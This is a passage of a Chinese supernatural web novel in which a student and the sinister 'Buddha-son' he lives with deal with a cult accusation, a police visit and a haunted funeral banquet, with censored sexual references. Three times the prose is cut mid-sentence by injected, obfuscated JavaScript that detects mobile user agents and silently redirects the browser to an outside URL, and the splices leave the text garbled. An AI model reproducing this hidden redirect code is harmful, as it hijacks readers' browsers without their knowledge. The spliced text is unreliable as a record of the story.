反观施霜景,他为了少洗几个盘子,现在已经习惯将祭品菜色放在一个大碗里一次性加热出来。施霜景吃饭很香,吃饭的速度也快,有些狼吞虎咽。罗爱曜就着施霜景吃饭的景色来下自己的饭。他讨厌寡淡清冷的餐食环境,食不言,动作幅度也小,远看像死人闻香。施霜景的头发剪得有些碎,鼻梁高挺,端碗时现出青筋明显的手背。这样的男孩子,做出的饭菜很符合罗爱曜的口味,但罗爱曜绝不会把他看作厨子或下人。X伴侣。罗爱曜咀嚼着郎放送他们的这个关系词。X伴侣做的饭应有不同,吃起来也的确不同。能吃出欲念,不是信徒那样远远供着、诚惶诚恐却永不满足的欲念,而是近在咫尺、处之泰然且别无他求的欲念。清淡的欲念。这是罗爱曜品尝起来最舒心的、最养心的,所谓真正的食物。 饭毕,“如果我要完成这些任务……我得保证休息质量。”施霜景说。 “细说。” “上床。以后我们只能在周六上床。” 罗爱曜说:“周末有两天。” “周五晚上你要考我,不能做。周日晚上做了,周一没法好好上课。只有周六最合适。” “你倒是想得美。” 施霜景自暴自弃地抓抓头发,“我晚上被你操,白天被老师骂,骂完晚上又得被你骂,骂完你还要□□……我会疯掉的!” “我为什么会骂你?” “你安排的东西我肯定背不完。” “你是挺没志气的。”罗爱曜哂笑道,“宁愿被我骂、被我X,也不好好背书。这种只靠努力就能达成的东西都完不成,你活该被我X。难道我是什么很严格的老师吗?” 好像确实不是。施霜景这一琢磨,发现罗爱曜已经松口了。他的意思好像是,如果施霜景好好背书,罗爱曜就不会罚他,也就不会X他。 “周六做。工作日,如果我完成了任务,你就不能X我。”施霜景给出结论。 罗爱曜抿抿唇,不否认,只摆出一副很无趣的表情,默认了。 32.鬼子母神篇(八) 罗爱曜这人周末在家基本没干什么好事,周日烧了施霜景两套衣服,彼时楼下的灵棚已经拆除,空落落让人好不适应。 施霜景发现,罗爱曜非常自然地就穿他的衣服。穿就穿吧,他偏偏还把施霜景的衣服当消耗品。他们上周五晚上去福利院时,施霜景甚至穿的还是校服,也被罗爱曜无情地烧了。 周一起床,施霜景只好穿自己的常服去上学。他只有一套校服,要穿五天才洗,很不爱卫生,但没办法。这是他“该省省,该花花”策略的一环。施霜景的冬装也不多,穿在校服里的卫衣有四件,外套总共也就两件比较厚的,一件比较薄的,其中一件厚的还是罗爱曜当时跟他玩口袋把戏的那件。 衣柜拉开,左边一排是施霜景的衣服,右边则是罗爱曜新挂上去的。这人的品味,唉,实在不好说,华而不实。施霜景思忖着要不要再买几件纯色卫衣,晃荡着书包走在上学路上,雾气依旧,不知道什么时候才能散了。一些灵棚撤走,可又有新的灵棚支起来,哀乐依旧,施霜景的警惕也依旧。他一看见新的灵棚就加快脚步。施霜景算是发现了,学校算是安全之地。 啊哈,学校。啊哈,上学比放学轻松。一想到放学,施霜景心中升起淡淡的死意。 佛子问过他在学校里的复习进度如何,尤其是语文和英语,包括老师们的常规复习法。施霜景只能说个大概,比如这一本巴掌大的高考必备篇目合集,轮到诗歌就每天五首,轮到文言文就每天一整篇。英语背单词也是一样,每册书最后的英语单词,一天背一个单元,反正高考前要过好多轮的。生物书按单元来背,可以两到三天一个单元。佛子一眼就看穿施霜景平时根本没背,他说:“这些是最基础的,先背着找找感觉,等我明早起来研究一下你们的考卷。” 意思是施霜景可以在学校里死猪不怕开水烫,但回到家是怎么也逃不过这一劫了。他一方面庆幸自己还好是理科生,再多背三门真的要他命;但另一方面,其他三科简直无从下手。人对完全不了解的东西很难产生恐惧,最恐惧的是接触到入门,深了就再也看不透——施霜景就是那种自己给自己挖坑跳的理科新手,而且很有可能,他会永远新手下去。 学校的氛围更加凝重,就像空调运转将那些烟云雾气抽进了室内一样。同学们无精打采。大家这周末都经历了很多。从上周起,学生们参加葬礼,或者周末被父母带走。大人们三缄其口,但即便如此,氛围还是愈发奇怪。 到了高三,他们每周会横着换组,然后每一位同学会往后坐一位,这样保证座位的流动,但前后左右的人相对固定。坐在施霜景前排的男孩黑眼圈比熊猫还深,上课的时候忍不住打瞌睡,被不同的老师骂过,罚他站。到下午时,男孩受不了了,上课时间请假去厕所。过了十分钟,他还没回来,科任老师担心他出什么事,就去厕所找他,发现男孩躲在厕所隔间哭。班主任张国强让男孩去他办公室,问了半节课,大家也不知道张国强问出了什么东西,男孩回了班,而下一节课时,张国强在家长群里发了这样一段话: “各位家长,我知道最近厂里发生了一些事,大家都很困难,但请各位家长考虑一下,这是孩子最重要的阶段!高三!那些会干扰孩子的事,各位家长比我更清楚!有时候一些牺牲在所难免,我们为了孩子,做什么都可以,重要的是不要给孩子增加其他的负担!良好的学习和生活环境是我们做家长能做到的唯一一件事!如果孩子在家不能好好休息,在学校根本学不进去!请各位家长好好考虑一下,有些安排早点做比晚点做更好!家里的长辈该体谅的还是要体谅!赞同的家长请回复!” 一串大拇指刷屏。 施霜景依旧不知道发生了什么事。他是唯一一个进家长群的学生,也用不着他说话。班主任今天连他不穿校服的事都没多过问,只让他赶紧去后勤处买新的。施霜景这一天都在抽空背书,佛子比施霜景想象中更为难人,他让施霜景即便听不懂这些理科课,也要将黑板上的板书全部抄在相应位置。这是一种姿态,他要施霜景适应这种清醒的感觉。想学习?先把自己这种浑浑噩噩的态度纠正一下。 下午倒数第二节课的课间,前排的男孩早退,收拾东西。施霜景背书背得头昏脑涨,几乎没成果。为了逃避这种无能感,施霜景很想和前排男孩搭话,可他马上想起他怎么答应佛子的——不要和陌生人说话。 厂里发生了这些事,菜鸟驿站的老板娘也不再提让施霜景去帮忙的事,大人们都各自忙碌着,双手将秘密掩藏起来。不光是大人,就连其他同学也都一并卷入其中,可每家似乎都有每家的秘密,不轻易与外人说。施霜景平日里在社交方面过于孤僻,课余时间都没什么人同他搭话、聊天。他们或许会知道,但施霜景不能去过问。在不用去打工之后,施霜景忽然可以释出很多心力,终于对周遭事物有了好奇心,而不是像他之前那样,满脑子都被贫穷的恐慌所占据。 周二,施霜景在得到刘奶奶的同意之后,在中午去了一趟福利院。 这回一见刘茜,发现她改头换面。 刘茜照顾这么多孩子,平日没有多余心思打理自己,就只是一位干净、和蔼的老人而已。可这回施霜景去见刘茜,见到她穿了平时过节都不一定穿的套装,戴珍珠项链与耳环,将夹杂银灰的头发打理得十分优雅。施霜景甫一见,差点没认出来。刘茜笑了笑,就说是小诃利帝要她这么穿。二楼的另一间房,曾经封过?型人的那间,其实在施霜景和罗爱曜走之后,小诃利帝就让刘茜将房门和窗户打开,放他们回山洞。 小诃利帝,小诃利帝。施霜景依旧不知道刘茜和罗爱曜指的是什么。看不见也摸不着,比之前的佛子还要抽象。 白院长告病,刘茜像是做了福利院的主人。不知为何,守卫高大爷似乎有些怕刘茜。施霜景暗自揣摩着,他有点好奇心,但不多。知道刘茜还好就好。施霜景赚到了钱,想要给福利院的孩子们买新衣服,今天中午他专门来记录孩子们的尺码。施霜景不敢让刘茜知道自己兜里有富余的钱,他怕刘茜问他钱是从哪里来的,施霜景没法回答。他接触了每个孩子,要么翻翻他们的衣领来看尺码,要么就是用自己的手和眼睛作尺,这样统计完了七个小孩的码数。 直到施霜景用手机下单之后,才想起……他送小朋友们衣服,刘茜还是会知道啊!唉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15434706|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这谎还是得撒。 周三,无事发生。 周四,施霜景出门前,罗爱曜特意早起,打着哈欠交代道:“今天街上会摆长桌,吃流水席,你知道我要说什么的。” “不许去?” “你会见到一些熟人,装作不认识。” 熟人?什么熟人?施霜景倒是想碰见熟人。他知道郎放住他家楼上,可这都第几天了,他们愣是没能碰见过哪怕一回。更糟糕的是,施霜景从周一开始,晚上“回课”的结果都很糟糕,即便罗爱曜的检查方式都非常常规。有时让他背,有时让他默写一两句,有时抽查。罗爱曜的要求是施霜景的正确率达到百分之八十,但施霜景必不可能做到。罗爱曜根据施霜景回课的情况调整要求,但施霜景还在适应中。他背了越多,越觉得大脑打结。他当年到底怎么考过中考的?脑子不用难道也会生锈吗?施霜景抓狂。罗爱曜好像只是在心里默默记一笔,没有当下宣判施霜景应该受的“罚”,这让施霜景更焦虑,很难分出精神去注意其他事。他好不容易对周遭事物燃起了一点好奇心,就这样被强行压抑住,开始适应时时刻刻手里抓着单词本、必背篇目本的日子。 施霜景出门后,罗爱曜倒了一杯水,拉开餐桌座椅,就这样静静坐着,不知是在醒神,还是在想什么。思量半晌,不知想到了哪处,罗爱曜似笑非笑,终于是把杯里的水一饮而尽,利落起身,回屋收拾自己的外表。再一出来,已是杂志封面般的打扮。罗爱曜拿上头盔,下楼发动机车。 他一路驶向福利院。 刘茜亲自拉开大铁门,那根长长的铁针在地上的半圆凹槽中划过。 “小诃利帝。” “佛子。” “你想好了?”罗爱曜莞尔道。 “可是,佛子,为众人施饿鬼印是你自愿的,我甚至没有请你为我们这么做。”刘茜双手交握于胸前,恬静温柔,看上去竟是比她原本的年龄要年轻许多。 罗爱曜象征性地以手划圈,像是圈出一块地,他说:“此地业力流转速度加快,不用来做些什么岂不太可惜?我也只是配合你的夙愿。完成了这一仪式,你便能成为诃利帝。” “是的。谢谢佛子。” “这七个孩子你也要收作童子?” “不必。”刘茜垂眸,“就连这具人身我也不要。与佛子您有所牵扯的,我统统不敢沾手。” “这么见外。” “佛子,你一手抬高了我这夙愿的规模。我最初只是没能管住我这些看似畸形的孩子,被你拿捏,现在你要使我成为诃利帝,其实是为你所用。我知道。”刘茜说,“老实说,我现在有点怕。” 罗爱曜现在正是最起兴味的时候。小诃利帝怕不怕他,他关心吗?这些人的业报加身,他又关心吗?一切都是天经地义。业报将他卷进去,难道他应该就这样卷至底层吗?他乘风浪来,便驾风浪去。这才是罗爱曜适应这个世界的法。 “不用怕。学作神佛,很简单的。让他们怕,又让他们跑,最后让他们来求,你的力从左手倒右手,一手让人惧怕,一手拯救他们,这就成了。”罗爱曜笑道,“总之一切算我头上。” 33.鬼子母神篇(九) 时针往回拨,拨到上周三那个雨天。彼时罗爱曜甚至还没有入住施霜景家。施霜景正在福利院陪孩子们玩闹的中午,机车呼啸驶过积水地的声音如撕裂布帛。 罗爱曜去往小诃利帝的鬼母庙,那个山洞。他将机车停靠在路边,可以见到一条铺了砖石的小路,当年人们用脚夯实了泥土,现在人们仍会上山,于是简单地铺就这些阶梯。这是一条“之”字型的上山路,不论雨水还是泥土,都不近罗爱曜的身。他一步一阶,抵达山洞。 一山的植物,有草、藤、蕨,爬满山石岩壁,可这里常有人走动,遭人铲平修整过的洞口像是警告了这自然,要求一切植物不允许过界,所以山洞口反倒荒芜着。洞外的斑驳红漆写着:“仙灵”;洞内墙上,左边红漆写着:“什么鬼母,尽放狗屁”,右边则是信仰的痕迹,石壁上横拉了许多道麻绳,麻绳上又系红布条,风一吹就簌簌的,褪色的红布条会呈一种泛白的灰粉色,新系上的则是火红如石榴花,在短短的红布条之间,系了五颜六色的幡带。一左一右,一边是不信,一边是笃信,两个观点就这样矛盾地共存着。 山洞高约四米,洞口宽约三米,不算窄。山洞有些深度,罗爱曜往内走去,亮度骤减。复行二十步,见到一件神桌,突兀地横拦在山洞中间。可见山洞后还有深度,可以再走进去,这里放神桌,神桌上有一尊高约五十厘米的彩瓷女神像,身上一尘不染,显然经常有人来擦拭尘土。女神像前有三个并排的供盘和烛台、香炉,供盘是空的,看来人们供完之后,并不会把这些瓜果饭食留在女神眼前慢慢腐烂,供完就带走回去吃了。彩瓷的女神慈眉善目,纱衣如霞飞,左手抱一婴孩,右手执石榴。不知这瓷像是谁买的、什么时候买的,但应该是二十一世纪之后。这一形象很新,工艺也新。 往这里供一尊新像的人也是好意,罗爱曜绕过这神桌,再往后去。终于,在光无法照入的山洞深处,罗爱曜找到了那些异类藏身之处。 山洞底部的洞壁前有一尊石头神像,工艺之精巧,可以料想当年的工匠花费了多少时间将山洞底部这一块突兀伫立的石块凿成相应的神祗,又要保持这神像的底座与山体紧紧相连,要吸收天地精华。从这侧到神像侧,中间有一道宽约一米五的深沟,不知道是这神像造就前还是造就后才裂出的,但现在这深沟上并没有搭建行道,就连一块木板都没有,虽然人只要跳跃一下就能到达,但谁也不知道这道沟有多深,所以料想没有人敢跨过深沟去到神像那段。神像的头已经不知所踪。 罗爱曜对发生的种种有直照命门的预感,而这些预感往往又会成为先验的存在。 他往地上的深沟看去,知道昨晚有一些东西从沟里爬出来了。天亮之际,他们又爬行回来,想到这近乎于虫行的姿态竟然觉得有些好笑。罗爱曜做出某种决定只需要眨眼的功夫。他可以只凭意志就现出可以触摸实物的替代的肢体,有时那是很虚无的、只是概念的身体,有时这身体可以让人感觉到是□□或者是冰冷坚硬的死物。 他伸手进深沟,就像摸进一个黑箱。深沟底部有窸窸窣窣的动静,更让罗爱曜确定,尽管深沟里的东西是超乎人类理智认知的生物,但他们依旧是生物。这只手很快就摸到了这些东躲西藏的东西,摸到他们几十年未清洗过的脑袋,摸到他们畸形的头颅,摸到他们如蜘蛛的躯体,摸到腥臭的水液和地底的寒,摸到不会腐烂的织物。在层层叠叠的异形身体之下,鬼子母神的头颅深埋其中,而头颅正压在一具少女体型的旧尸上。 罗爱曜从深达十余米的深沟里打捞起鬼子母神的头颅。灵魂与□□的二分其实只是人类的想象,混沌的例外才是这世界的真相。就像这处的鬼子母神像其实毫无作用,最初只是一座空庙,至少是两百年前就已经修成了。这具女尸,故事要等她自己开口来讲,但罗爱曜知晓,这鬼子母神庙的灵验是从她存在才开始的,所以究竟是鬼子母神诃利帝在显灵,还是她在显灵?当她真正显灵时,这鬼子母神像才真正拥有神性,所以这神像不再代表的是原始的诃利帝,而是有她存在的小诃利帝。 为了要修成这坛场,至少要有四方护法神。罗爱曜想让小诃利帝的存在更加确凿,而不论何处、何地的神佛,其确立方法都有最为必要的东西——仪式、典故和效用。这都是罗爱曜所擅长的。他这算是有野心吗?罗爱曜不知道,只觉得这一切很天经地义,甚至这可能就是要他来到此地的因缘。 因此,这些?型异人周三出动,相关的人却是在周四才死。中间的犹豫时间是罗爱曜说服小诃利帝。因罗爱曜并不需要这些?型异人在之后再替他做些什么了,周五想要顺手超度他们,小诃利帝却附身于刘茜,展现出非同一般的攻击性,以及情感。施霜景这人的存在其实有点碍事,但罗爱曜原本可以不演的。 然而罗爱曜还是演了。 装不知道,装猜测,装自己好像和施霜景是同一边的——同一边?哪边?罗爱曜这人性格顽劣得很,已经在这里惹出是非了,那讨要吉祥话的一家是突生意外,可罗爱曜都还急不可待地想去杀人。 饶是这么个一肚子恶意又擅布局的家伙,遇上施霜景的事就老出现意外。施霜景承诺自己再也不跟陌生人说话,其实罗爱曜压根无所谓。这就像是静海泛起了第一波浪,死局活了,罗爱曜正开心着呢,只是罗爱曜很会装。 施霜景好像渐渐找到了上学的节奏。这才几天啊,他就已经能在抄笔记的间隙拿出自己的小本本出来背东西了,他听不懂,佛子要他抄笔记,他就该抄的时候抄,剩下的时间用来记别的内容。作业也都要自己做,除非完全不会做。语文现在复习到诗歌鉴赏题目,语文老师教道,借景抒情,托物言志,欲扬先抑,好多好多四字词语,施霜景也全部记下来。老师说,你把常用的手法背下来,到时候能想起什么就写什么。施霜景发现自己好像也能懂老师到底是什么意思,没有想象中那么难懂。佛子曾说施霜景的语文还不错的。 其他学生多少有些死气沉沉,受各方面影响——天气、学习进度、家里情况等等。今天早上的课一眨眼就过去了,施霜景越学越不觉得犯困。他常年有下苦功的习惯,只不过以前是下苦功来打工。他打工的时候即便是在网吧看机子也不会犯困。施霜景好像是精力比较旺盛的类型,而且他发现,精力是可以迁移的。至少对他来说,等式成立。 中午时分,街上摆了众多流水席。施霜景快跑回家,罗爱曜不在家,只有玉米钻在被窝里睡觉,施霜景看见床上被子里有一个小小的鼓包。施霜景掀开被子一角,露出玉米睡得热乎乎的小猫头,施霜景忍不住亲了一口,玉米懒洋洋地半睁眼睛,它光靠听脚步声就知道是施霜景,更遑论它还能嗅闻。玉米用额头蹭蹭施霜景的手指,下巴一埋,继续睡了。施霜景放下被子,任玉米睡它的漫长午觉。 正当施霜景在加热祭品呢,忽然有人敲门。施霜景光听敲门声就知道完蛋了,罗爱曜有钥匙,就算没有钥匙,他伸手也能从里面把门打开,这就说明门外的任不是罗爱曜。施霜景按停微波炉,假装家里没人。 外面的人敲了大概五回,每次都持续几秒,第六回迟迟不来,施霜景不敢有什么好奇心,坐在餐桌前吃他的午饭。这些祭品菜色……吃到现在,施霜景终于对其混搭的奇怪调性感到有点疲惫,确实……确实不如他自己做的。不是说不好吃,只是吃不惯。 二十分钟之后,大门响起钥匙声。施霜景以为是罗爱曜,外面的人进来之后,施霜景才发现……这不是房东吗? “哎哟,施霜景,你这不是在家吗?!”房东徐阿姨抚着胸口,她被默不作声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15434707|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在餐厅的施霜景小吓了一跳,她一抬眼就看到顶上的佛龛,又惊叫道,“这是什么东西?你在我家搞什么?” 要是房东提前一周来表示出她的惊讶就好了,施霜景搔搔眉毛,很尴尬,他知道这是罗爱曜私自装的东西,而且其他人类也能看见。 “谭警官,施霜景人就在这里,你直接和他谈吧。” 房东身后跟着一个警察,一进来就向施霜景出示了证件,他叫谭鸿信,大概三十多岁,长得很精神。“徐女士,谢谢啊,小施不是嫌疑人之类的,我就是找他问问情况。”谭鸿信笑眯眯地替施霜景向房东解释,是个很妥帖的人。 “哦哦,那就好。你们聊。”房东如是说着,还是投来一个略显怀疑的眼神,她关上门退出去了。 施霜景被警察找上门,偏偏罗爱曜还不在。这已经不止是尴尬了,施霜景当然有些犯怵。 谭鸿信晃了晃手上的小黑皮本子,“你就是施霜景是吧?你不要紧张,我是来问你福利院的事,那个白院长报了警。” “白院长?”这比警察上门这件事更让人捉摸不透,跟白院长又有什么关系? 谭鸿信将前因后果娓娓道来:“白院长向派出所报案,说福利院在搞邪教。我是市局刑侦支队的刑警,正好在厂里调查上周老人集体死亡的案子。白院长说,福利院的刘姓女员工在搞邪教,想用孩子们做些不好的事。我们和白院长一起调监控看到了你上周去过福利院,他当时没说什么,但派出所其他工作人员私下告诉我,你就是从福利院出来的,所以我就想来向你确认一下……” 调监控?他们看到了什么?施霜景登时坐直了。 “……你知道刘茜到底发生了什么吗?她为什么装扮的变化这么大?”谭鸿信用手机展示了几张监控截图,是刘茜之前比较日常的装扮与这几日隆重的打扮。 “……不知道。” “真的不知道?你和她关系应该很好。” 施霜景无奈地摇头。这真的问到盲区了。就算施霜景是某些怪事的见证人,可他对此也毫无头绪。 “我有个请求。”谭鸿信顿了顿,确认施霜景的表情无异,他才继续道,“你下午能不能跟我们一起活动?” “为什么?” 谭鸿信的目光往墙上的佛龛瞄了瞄,谭鸿信翻到笔记本的一页,压平了纸张递给施霜景看。 “郎放说,不能在你家提到他。” 谭鸿信嘴上说:“我们对励光厂不熟悉,白院长还提到了一些地点,我们想找个认识路的人来带一下路。” 施霜景一头雾水,可,这是警察欸!他难道还能说不吗!而且郎放试图联系他……施霜景不知道为什么郎放这么执着,是真的关心、担心他还是……?但不管怎么说,谭鸿信是警察。 社会主义刑警哥和封建迷信佛子哥,施霜景肯定还是会选前者。说不出的安全感。 半小时后,谭鸿信抵达了绕厂的环山路的一个路段,见到了郎放和他女儿。小姑娘朝谭鸿信挥手。和谭鸿信一起的还有一位叫林鸣的法医。 “不行,那小子倔得很,竟然不愿意来。” 郎放道:“谭警官,你愿意去找施霜景,就说明你还算是信我几分。他不来也有他的苦衷。你要答应我,我带你们去山洞,你们对看见的东西一定不能装不知道,否则今天我们所有人都惨了。” “为什么这么说?”谭鸿信蹙眉。 “因为和那个男孩同居的人很危险。你既然已经去找过他了,那人迟早会知道。” 这分钟谭鸿信才意识到,郎放这是明晃晃拉人下水。 “他不来会有什么影响吗?”林鸣接话。 “少了个人质。”小女孩也接话。郎放尴尬地捂住小女孩的嘴,接话太快了! 34.鬼子母神篇(十) 社会主义大编制的刑警哥看起来非常靠谱,可施霜景……该说他安于现状吗?他和佛子好不容易才达成了诡异的和谐,如非必要,施霜景不会打破这平衡。郎放是个好人,郎放一直想办法接触自己,可施霜景手上捏着佛子给的二十万。金主的话不敢不听。 刑警哥说了一大堆,且不论是真是假,白院长对刘奶奶有意见,这并不奇怪,甚至举报她搞邪教……这也是姓白的那个家伙能干出来的事。只要不是今天,施霜景都能配合。 施霜景笨笨的,可今天罗爱曜甚至还早起了,提醒他今天是那些集体死亡的老人的头七,还让他不要和认识的人接触。郎放就算是认识的人,佛子说不定都料到了,就在这儿等着呢,施霜景总不好直接跳坑。 刑警哥怎么劝都没用,施霜景这人很倔很顽固,聊到后面,施霜景确认手机上的时间,要去上下午的课了,他将书包往身后一甩,推着刑警哥出去。锁门时施霜景说:“我相信刘奶奶不会做这种事。根本没有什么邪教不邪教的。白东达这人贪污吞钱你们管不管?我举报他行不行?” 说完,施霜景和刑警哥一同下楼。刑警哥上了车,施霜景看见车里还有另一位警察,但施霜景只是漠然地走进雾里,没想太多。 午时的流水席比刚放学时更热闹了。 施霜景家离学校不远,从小区出来,经过一条穿过厂区的主路,沿着主路一直走到底就是学校,主路两侧有很多分岔路口可以进入不同的小区。厂子不大,住得也密集,以前厂里办丧事就会沿主街摆流水席。 这回过世的老人太多,这条主街特意封锁一天,让长桌摆开,而且恰好就是主路最热闹的一截,就是为了聚人气,流水席不分你家我家,大家一并吃了,就算是给老人头七送行了。施霜景刚才回家时就一点都不敢停留,当然有人会招呼他让他一并来吃,可施霜景毕竟个子高,一米八的大男孩,推几下、摆几次臭脸就过去了。 现在上学也是一样糟糕的情况,为了多摆几列流水席,人行道都被占光了。施霜景从人行道里侧一路往前挤,时不时会踢到塑料椅,坐着的人就会回头看他一眼。 从没闻到过这么浓的饭菜香,整片天地像一个大食堂。施霜景小心翼翼地蹭回学校,却发现班上少了一大半的人。 下午第一节课就是班主任的物理课,他无奈地扶着讲台,问台下坐着的小二十号学生:“其他同学都去吃席去了,你们不去?” 你都这么问了,我们到底是说想去还是不想去?这不是正在上课吗?施霜景在心中默默吐槽道。 到下一节课时,班上只剩寥寥几个人。下节课是英语,英语老师的母亲在上周去世了,今天这流水席她肯定不会不去,但一时间竟然没找到其他来代课的老师,就连班主任都暂时离校,料想是去吃席去了。班上空荡,施霜景戴着耳机背书,《送东阳马生序》,文言文比诗歌难背太多了。翻来覆去地学,知道整篇文章的意思,可一到默写时就漏字缺字,就跟这些字插了翅膀飞走了一样,写的时候真是一点没发现,或者是提笔卡住,忽然忘记下面一小句是什么,就那么一小句,三四个字,怎么都想不起来。真是痛苦。 背书是一种重复机械运动,可再简单的运动也可以锻炼到大脑的肌肉。施霜景有一本厚厚的草稿纸,高一买的,现在都还只受皮外伤,但最近这草稿纸翻页变得频繁了,施霜景捏着这用过的一小层草稿纸,忽然觉得内心安定了一点。 不知不觉间,班上就只剩施霜景一个人了。施霜景背完《送东阳马生序》,准备晾一晾脑子再背第二轮。他伸了个懒腰,教室空空如也,施霜景伸懒腰的动作僵住。他收起耳机,出教室来到走廊,他们每个教室都有走廊窗户,可以看见其他班级内的情况。施霜景一层层看过去,发现每个班竟然都空了。 塑胶操场上笼罩一层薄雾,模糊了人工草坪的虚假感,一时间竟然像是真实的草地,露珠与水雾相辅相成。施霜景的心跳陡然加快,他走到校门附近,人声渐响。流水的长桌热热闹闹,好像整个厂的居民都去了,不管认识不认识的,都齐坐一堂。 流水席很具体,可留给施霜景的印象总是影影绰绰。这热闹到了一定地步便顿生诡异,施霜景下意识害怕起来。这长桌好像没有尽头似的,施霜景刚出门走到主路时,长桌已经延伸到了路两头,不知道边际,可现在他已经到了学校,从学校出门再往左走小一百米就要出厂了,长桌都摆到那儿了么?施霜景忐忑不安地站在校门口,所有人吃着、聊着,菜色的油荤气与人口中的酒臭气不分你我地混合着,令人作呕。这些热闹的动静中好像潜藏着某种非常怪异的极端癫狂,施霜景没看到有人下桌,可厂里其他人竟然还陆陆续续上桌,难道这流水席真的能吃到散场吗?不是吃饱了就走人吗? 怪谲而紧张的氛围令施霜景狂渗手汗,他慢慢后退,退回学校里。他必须保持冷漠。罗爱曜说过的,不要参与这些事,就算见到熟人,也得保持距离。施霜景忽然怀疑,他拒绝了刑警哥的邀请,会不会是错过了某个逃离的机会。 不知是不是施霜景产生了错觉,明明还是下午,可天色愈发阴沉起来,无边无际的灰色逐渐降低明度,那些人声好像来自另一个世界,而施霜景所在的这个世界如死一般寂静,静得只能听见自己内心的想法,某种恐惧情绪渐渐浮出水面。这时候施霜景下意识就想起罗爱曜——他和罗爱曜的关系使得施霜景有机会与那个世界相交。这种相交真的有必要吗?可施霜景实在太无知了。未知带来恐惧。 一剑霜寒:佛子,你在吗? 一剑霜寒:这些流水席到底是怎么回事?所有人都去吃席了,老师和同学都不在学校 一剑霜寒:我应该干什么?回家吗? 无人应答。 施霜景忽然有种被丢下了的感觉。他不确定,再试试。 一剑霜寒:我好像没办法回家,路堵住了。 一剑霜寒:你在哪里? 一剑霜寒:我有点害怕。 施霜景一直是个实诚人。罗爱曜在他心中的形象很矛盾,有时罗爱曜是他恐惧的源头,有时罗爱曜又很让人有安全感,这就导致施霜景害怕的时候总想到罗爱曜,不论好事坏事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他看见肩膀挨着肩膀,碗碟挨着碗碟,菜色挨着菜色。走了大概十几步,施霜景突然发现——桌上的菜量一点都没有减少?人们谈着说着,喝着吃着,但真正进肚的东西只是零零星星一点点,人们好像陷入了某种社交场合的谵妄,热火朝天,无话不说。有谈到自己这个年纪已经阳痿的中年人,有谈到墙里开花墙外香的老师,有大聊特聊自己作弊经历的学生……夹菜,吃菜,动作的重复,吃进去的只是空气,喝进去的只是谈资。那他们到底在吃什么? 施霜景横过身体,从窄道挤过。忽然间,他与餐席下的一颗头颅对上了眼神。 这一晃眼几乎把施霜景吓疯了。那是一张脏污而畸形的脸,双眼凸出,脸上骨感明显,嘴部皱缩如孔——眼熟吗?施霜景的心中忽然响起罗爱曜的声音,那么无端,简直像一把插入施霜景脑中的匕首。 这是他们那天在福利院见到的?人! 施霜景不敢轻举妄动,他知道这些?人有攻击性。在这一对峙中,施霜景忽然看见暗红色如肠子的肉管垂坠下来,延伸到桌底,盘在地面上。这些肉管的另一端……是列席的宾客。 他们毫无所察,他们兴致高昂。 施霜景忽然感到周身漫上微妙的搔痒感。他伸出手,看见手背上密密麻麻的诫文——郎放和他女儿都看见过的、罗爱曜也解释过的……佛子诫文。从前这诫文纯粹是墨色,但经过祭品的滋养,今日一见,诫文已褪成了淡淡的金色,圣洁而苍劲,倒是让人看了挺心安。 这佛子诫文的显现有如一道辉光,施霜景面前的人忽然回过头来,刚才相谈甚欢的雀跃全然消失,他的神情表明他正经受着某种非人般的强迫,就好像施霜景是突然而至的清醒时刻——“救救我,救救——呃——啊——”声音拖长,音色扭曲,简直是地狱之声。 一人,两人……转头之势如浪,短短几呼吸的时间,语谈声就停了。 落单的施霜景成为视线中心。 35.鬼子母神篇(十一) 施霜景从没觉得这条路这么窄。 面前是三排流水席,把行车道和两侧人行道都占得满满当当,他的后背抵着人行道一侧的墙面,墙背后是小区。施霜景只能蟹行,横着走,可现在不论是人是鬼都盯着他,他身上的佛子诫文还熠熠地浮现着,在昏黑的天色下尤为醒目。 施霜景忽觉自己呼吸都有些不稳了。面前的中年人用尽全身力气,向施霜景伸出左手,试图抓住他。桌底的?人蠢蠢欲动,有向外探身之势。施霜景试探性地往旁边挪,侧身并伸手的人更多了。 容不得施霜景多想,他的求生本能爆发。左右不通,施霜景便立马转身,虽然背后墙面的顶部嵌着碎玻璃片,但墙面有镂空窗,给施霜景提供了落脚点,他又恰好靠近墙与墙的连接处,有水泥柱,他奋力往上一跳,手够上水泥柱顶端。他踩着镂空墙窗的窗框往上爬。身后众人的手碰到他的书包和屁股,甚至有人乱抓,施霜景顾不得那么多了,三两下爬上去,小心翼翼地踩着墙顶没有碎玻璃的边缘,翻身,一转到这侧,施霜景立刻跳下地,动作矫健灵敏。他调整呼吸,半蹲下来,思考接下来该怎么办。 佛子不理他,施霜景不知道为什么。他身上的这些密密麻麻的咒文,施霜景也不知道有什么用。他只知道厂里的人都被流水席困住,他们应该不是自愿的,桌下那些?人一看就来者不善,比上次在福利院碰见时更令人不安——至少那时罗爱曜还在。 小区另一头是死路,就算从小区出去,不经过主路也不能回家。那他要回学校吗? 